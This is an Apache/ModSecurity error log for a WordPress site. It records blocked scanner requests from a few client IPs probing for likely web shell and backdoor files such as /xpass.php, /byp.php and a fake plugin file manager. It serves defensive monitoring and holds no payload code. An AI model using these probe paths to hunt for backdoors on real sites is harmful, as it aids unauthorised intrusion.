[Tue Jan 06 19:12:28.024195 2026] [:error] [pid 45959:tid 45975] [client 4.213.57.158:16142] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aVzuHFajdn8P3hjgMYytHAAAAU0"]
[Tue Jan 06 19:12:29.728481 2026] [:error] [pid 44904:tid 44958] [client 4.213.57.158:12810] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gtc.php"] [unique_id "aVzuHTtieuI1BJEZcvcXQAAAAFE"]
[Tue Jan 06 19:13:48.535846 2026] [:error] [pid 44903:tid 44908] [client 4.213.57.158:27553] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aVzubNhHqjs38zbkQPD6_gAAAAE"]
[Tue Jan 06 19:13:54.209509 2026] [:error] [pid 45959:tid 45963] [client 4.213.57.158:16199] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aVzuclajdn8P3hjgMYyt3wAAAUE"]
[Tue Jan 06 19:13:56.226642 2026] [:error] [pid 44903:tid 44926] [client 4.213.57.158:6877] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aVzudNhHqjs38zbkQPD7AwAAABM"]
[Tue Jan 06 19:13:58.729970 2026] [:error] [pid 44905:tid 44985] [client 4.213.57.158:27289] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "aVzudru7ufwWVst9EAvCmwAAAJE"]
[Tue Jan 06 19:14:02.489350 2026] [:error] [pid 44903:tid 44930] [client 4.213.57.158:18649] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aVzuethHqjs38zbkQPD7BwAAABY"]
[Tue Jan 06 19:14:03.934897 2026] [:error] [pid 44904:tid 44941] [client 4.213.57.158:1161] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aVzueztieuI1BJEZcvcXsQAAAEA"]
[Tue Jan 06 19:14:12.814349 2026] [:error] [pid 44903:tid 44915] [client 4.213.57.158:25373] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aVzuhNhHqjs38zbkQPD7JQAAAAg"]
[Tue Jan 06 19:14:24.793713 2026] [:error] [pid 44905:tid 44991] [client 4.213.57.158:16054] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oo.php"] [unique_id "aVzukLu7ufwWVst9EAvC0wAAAJc"]
[Tue Jan 06 19:15:51.740410 2026] [:error] [pid 45959:tid 45971] [client 4.213.57.158:18432] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aVzu51ajdn8P3hjgMYyulAAAAUk"]
[Tue Jan 06 19:15:53.096017 2026] [:error] [pid 45012:tid 45024] [client 4.213.57.158:18510] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aVzu6RaMAxCuju1d0ubaYgAAAMo"]
[Tue Jan 06 19:15:55.153602 2026] [:error] [pid 44905:tid 44985] [client 4.213.57.158:12942] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aVzu67u7ufwWVst9EAvDSwAAAJE"]
[Tue Jan 06 19:15:58.741681 2026] [:error] [pid 45959:tid 45967] [client 4.213.57.158:13928] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aVzu7lajdn8P3hjgMYyunAAAAUU"]
[Tue Jan 06 19:15:59.500660 2026] [:error] [pid 45959:tid 45966] [client 4.213.57.158:28473] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aVzu71ajdn8P3hjgMYyungAAAUQ"]
[Tue Jan 06 19:16:01.517756 2026] [:error] [pid 44905:tid 44970] [client 4.213.57.158:9092] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aVzu8bu7ufwWVst9EAvDUQAAAII"]
[Tue Jan 06 19:16:07.942028 2026] [:error] [pid 35140:tid 35154] [client 4.213.57.158:8001] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aVzu93oQaIDFMbT-XMy2MQAAAQw"]
[Tue Jan 06 19:16:10.956848 2026] [:error] [pid 45959:tid 45969] [client 4.213.57.158:16072] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aVzu-lajdn8P3hjgMYyutgAAAUc"]
[Tue Jan 06 19:16:14.156303 2026] [:error] [pid 44904:tid 44955] [client 4.213.57.158:26988] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xpass.php"] [unique_id "aVzu_jtieuI1BJEZcvcYlgAAAE4"]
[Tue Jan 06 19:16:18.621121 2026] [:error] [pid 45959:tid 45976] [client 4.213.57.158:13479] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xpass.php"] [unique_id "aVzvAlajdn8P3hjgMYyu1QAAAU4"]
[Tue Jan 06 19:16:22.166199 2026] [:error] [pid 35140:tid 35165] [client 4.213.57.158:1547] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xpass.php"] [unique_id "aVzvBnoQaIDFMbT-XMy2QgAAARc"]
[Tue Jan 06 19:16:27.913879 2026] [:error] [pid 35140:tid 35143] [client 4.213.57.158:26927] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aVzvC3oQaIDFMbT-XMy2TQAAAQE"]
[Tue Jan 06 19:16:32.535468 2026] [:error] [pid 45012:tid 45017] [client 4.213.57.158:27015] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aVzvEBaMAxCuju1d0ubajgAAAMM"]
[Tue Jan 06 19:16:34.683590 2026] [:error] [pid 44904:tid 44944] [client 4.213.57.158:16345] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aVzvEjtieuI1BJEZcvcYqAAAAEM"]
[Tue Jan 06 19:16:38.714574 2026] [:error] [pid 35140:tid 35163] [client 4.213.57.158:13606] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aVzvFnoQaIDFMbT-XMy2XAAAARU"]
[Tue Jan 06 19:16:40.405507 2026] [:error] [pid 45012:tid 45015] [client 4.213.57.158:16159] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx1.php"] [unique_id "aVzvGBaMAxCuju1d0ubalQAAAME"]
[Tue Jan 06 19:16:41.713345 2026] [:error] [pid 44904:tid 44943] [client 4.213.57.158:16350] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx1.php"] [unique_id "aVzvGTtieuI1BJEZcvcYtgAAAEI"]
[Tue Jan 06 19:16:45.519402 2026] [:error] [pid 44903:tid 44923] [client 4.213.57.158:2000] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx1.php"] [unique_id "aVzvHdhHqjs38zbkQPD7vwAAABA"]
[Tue Jan 06 19:16:48.047330 2026] [:error] [pid 44904:tid 44959] [client 4.213.57.158:27857] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx1.php"] [unique_id "aVzvIDtieuI1BJEZcvcYyAAAAFI"]
[Tue Jan 06 19:17:39.576631 2026] [:error] [pid 45959:tid 45970] [client 4.213.57.158:29129] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadis.php"] [unique_id "aVzvU1ajdn8P3hjgMYyvgQAAAUg"]
[Tue Jan 06 19:17:45.754378 2026] [:error] [pid 45959:tid 45977] [client 4.213.57.158:1913] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadis.php"] [unique_id "aVzvWVajdn8P3hjgMYyviQAAAU8"]
[Tue Jan 06 19:17:48.065822 2026] [:error] [pid 44904:tid 44957] [client 4.213.57.158:7995] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadis.php"] [unique_id "aVzvXDtieuI1BJEZcvcZCQAAAFA"]
[Tue Jan 06 19:17:50.198079 2026] [:error] [pid 44905:tid 44974] [client 4.213.57.158:14260] [client 4.213.57.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadis.php"] [unique_id "aVzvXru7ufwWVst9EAvDuwAAAIY"]
[Tue Jan 06 20:13:53.036441 2026] [:error] [pid 44904:tid 44950] [client 111.68.9.66:57977] [client 111.68.9.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/js/welcome.min.js"] [unique_id "aVz8gTtieuI1BJEZcvcn_AAAAEk"]
[Tue Jan 06 21:01:56.883806 2026] [autoindex:error] [pid 44904:tid 44952] [client 217.76.62.188:64832] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Jan 06 23:19:42.575803 2026] [:error] [pid 35140:tid 35145] [client 4.247.167.136:4113] [client 4.247.167.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aV0oDnoQaIDFMbT-XMz2ZAAAAQM"]
[Tue Jan 06 23:19:50.929399 2026] [:error] [pid 45959:tid 45983] [client 4.247.167.136:4898] [client 4.247.167.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aV0oFlajdn8P3hjgMYwZEwAAAVU"]
[Tue Jan 06 23:19:53.714816 2026] [:error] [pid 45959:tid 45977] [client 4.247.167.136:4837] [client 4.247.167.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aV0oGVajdn8P3hjgMYwZHAAAAU8"]
[Tue Jan 06 23:19:55.079435 2026] [:error] [pid 44903:tid 44914] [client 4.247.167.136:4986] [client 4.247.167.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aV0oG9hHqjs38zbkQPA95wAAAAc"]
[Wed Jan 07 01:45:46.467467 2026] [:error] [pid 45012:tid 45036] [client 20.239.71.136:2018] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xrp.php"] [unique_id "aV1KShaMAxCuju1d0uZl1wAAANY"]
[Wed Jan 07 01:45:47.731724 2026] [:error] [pid 45012:tid 45037] [client 20.239.71.136:50503] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xrp.php"] [unique_id "aV1KSxaMAxCuju1d0uZl2gAAANc"]
[Wed Jan 07 01:45:48.992670 2026] [:error] [pid 35140:tid 35157] [client 20.239.71.136:24074] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xrp.php"] [unique_id "aV1KTHoQaIDFMbT-XMwlUwAAAQ8"]
[Wed Jan 07 01:45:52.103953 2026] [:error] [pid 44905:tid 44986] [client 20.239.71.136:1809] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xrp.php"] [unique_id "aV1KULu7ufwWVst9EAtA1QAAAJI"]
[Wed Jan 07 01:45:53.804596 2026] [:error] [pid 44905:tid 44991] [client 20.239.71.136:45578] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byp.php"] [unique_id "aV1KUbu7ufwWVst9EAtA2AAAAJc"]
[Wed Jan 07 01:45:54.452244 2026] [:error] [pid 44905:tid 44983] [client 20.239.71.136:11569] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byp.php"] [unique_id "aV1KUru7ufwWVst9EAtA2wAAAI8"]
[Wed Jan 07 01:45:55.771705 2026] [:error] [pid 44905:tid 44976] [client 20.239.71.136:12320] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byp.php"] [unique_id "aV1KU7u7ufwWVst9EAtA5AAAAIg"]
[Wed Jan 07 01:45:56.637730 2026] [:error] [pid 44903:tid 44925] [client 20.239.71.136:24191] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byp.php"] [unique_id "aV1KVNhHqjs38zbkQPBvSwAAABI"]
[Wed Jan 07 01:45:58.377944 2026] [:error] [pid 45959:tid 45968] [client 20.239.71.136:24209] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws28.php"] [unique_id "aV1KVlajdn8P3hjgMYxeeQAAAUY"]
[Wed Jan 07 01:45:59.915002 2026] [:error] [pid 45959:tid 45985] [client 20.239.71.136:13551] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws28.php"] [unique_id "aV1KV1ajdn8P3hjgMYxefAAAAVc"]
[Wed Jan 07 01:46:00.907894 2026] [:error] [pid 44904:tid 44962] [client 20.239.71.136:24251] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws28.php"] [unique_id "aV1KWDtieuI1BJEZcveKFAAAAFU"]
[Wed Jan 07 01:46:02.157152 2026] [:error] [pid 44904:tid 44959] [client 20.239.71.136:23800] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws28.php"] [unique_id "aV1KWjtieuI1BJEZcveKGgAAAFI"]
[Wed Jan 07 01:46:02.865005 2026] [:error] [pid 45959:tid 45976] [client 20.239.71.136:12081] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/num.php"] [unique_id "aV1KWlajdn8P3hjgMYxehAAAAU4"]
[Wed Jan 07 01:46:03.735431 2026] [:error] [pid 45959:tid 45984] [client 20.239.71.136:23517] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/num.php"] [unique_id "aV1KW1ajdn8P3hjgMYxeiwAAAVY"]
[Wed Jan 07 01:46:04.500236 2026] [:error] [pid 45959:tid 45967] [client 20.239.71.136:1292] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/num.php"] [unique_id "aV1KXFajdn8P3hjgMYxejwAAAUU"]
[Wed Jan 07 01:46:05.421458 2026] [:error] [pid 35140:tid 35161] [client 20.239.71.136:12916] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/num.php"] [unique_id "aV1KXXoQaIDFMbT-XMwlcQAAARM"]
[Wed Jan 07 01:46:06.060827 2026] [:error] [pid 45959:tid 45980] [client 20.239.71.136:20810] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gmo.php"] [unique_id "aV1KXlajdn8P3hjgMYxelQAAAVI"]
